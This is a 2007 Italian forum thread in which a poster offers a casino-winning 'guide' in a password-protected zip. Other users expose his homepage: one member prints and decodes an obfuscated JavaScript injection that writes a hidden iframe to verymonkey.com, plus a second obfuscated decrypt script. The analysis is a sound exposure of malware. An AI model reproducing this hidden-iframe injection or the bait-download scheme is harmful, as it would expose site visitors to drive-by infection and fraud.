Ditemi Cosa Ne Pensate: Vincere 188€

[imperatore888]

Salve a tutti

ho redatto una guida per poter vincere 188€ tramite i casino Playtech

Per chi fosse interessato: RIMOSSO

La password del .zip è: kklfdsa

Potete inviarmi suggerimenti e consigli a: RIMOSSO

Ovviamente gratuita, scrivo 10€, ma per farla sembrare più appetibile.

[Kleopatra]

no grazie, il virus non c'interessa

[imperatore888]

Il virus Playtech?

eh eh

ma forse esiste il sistema per batterlo

[tonino]

Kleo, chiedigli i diritti d'autore...

non è altro che il tuo "metodo del cugino"

il virus sembra innocuo, datemi qualche minuto per analizzarlo...

[tonino]

Allora... la home page del nostro caro imperatore (complimenti per il nick modesto) possiede uno script sicuramente malizioso nelle intenzioni:

function v47226c1b2208b(v47226c1b2285e){  return(parseInt(v47226c1b2285e,16));}function v47226c1b23fd2(v47226c1b2479b){  var v47226c1b24f6a='';for(v47226c1b25736=0; v47226c1b25736<v47226c1b2479b.length; v47226c1b25736+=2){ v47226c1b24f6a+=(String.fromCharCode(v47226c1b2208b(v47226c1b2479b.substr(v47226c1b25736, 2))));}return v47226c1b24f6a;} document.write(v47226c1b23fd2('3C696672616D65206E616D653D273264626335656527207372633D27687474703A2F2F766572
96D6F6E6B65792E636F6D2F676F6F662F696E6465782E706870272077696474683D3139322068656
6768743D313333207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));

Tutta questa pappardella viene tradotta dal browser con l'apertura di un frame 192x133 che indirizza al seguente link:

verymonkey.com/goof/index.php su server della AbdAllah_Internet, TurkTelekom, Turchia.

A sua volta, la pagina in questione contiene uno script:

function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,62,5,15,39,26,27,0,51,54,0,0,0,0,0,0,29,34,13,19,42,50,22,18,25,23,37,1,5
,60,2,33,49,40,6,41,4,35,32,47,20,12,30,0,0,0,0,38,0,44,11,16,45,36,52,24,3,59,1
,17,14,56,7,8,43,46,9,31,53,58,55,61,28,48,21);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("2_SP7Wxf7sw_9pMtI8BO2EWEcIoitIo8FImPrpaPlhxyb_SARhMEkhMt6N")

che sul mio browser (Opera 5) va a formare l'innocuo output:

<center>Sorry! You IP is blocked.</center>

Caro imperatore, vuoi forse farci intendere che il tuo sito contiene cose turche?!

[Kleopatra]

dopo questa accurata analizzazione,

non vedo nessuna differenza tra la turca di un'autogrill

e questo sito turco... le turche non fanno per me

[tonino]

"It gets even more interesting, the IP hosting verymonkey.com was historically used to host banksoffscotland.co.uk scam web site in March this year."

(fonte: Dancho Danchev Blog)

[Ospite imperatore884]

Mi scuso per questo banner, ma ovviamente non l'ho inserito io (non vedo a che servirebbe un link turco) E codice sorgente ripulito.

Tolta prontamente la guida, visti i modi.

Modificato: 27 ottobre 2007 da imperatore884

[gastardo]

Sei stato sospeso, accetta il provvedimento ed evita di re-iscriverti.